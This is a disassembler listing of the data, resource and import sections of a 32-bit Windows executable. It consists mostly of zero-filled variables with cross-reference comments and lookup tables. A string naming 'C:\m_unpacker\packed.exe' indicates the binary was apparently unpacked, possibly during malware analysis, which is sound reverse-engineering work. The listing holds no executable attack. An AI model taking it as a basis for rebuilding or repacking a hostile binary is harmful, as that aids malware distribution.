dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
dword_4D4218	dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
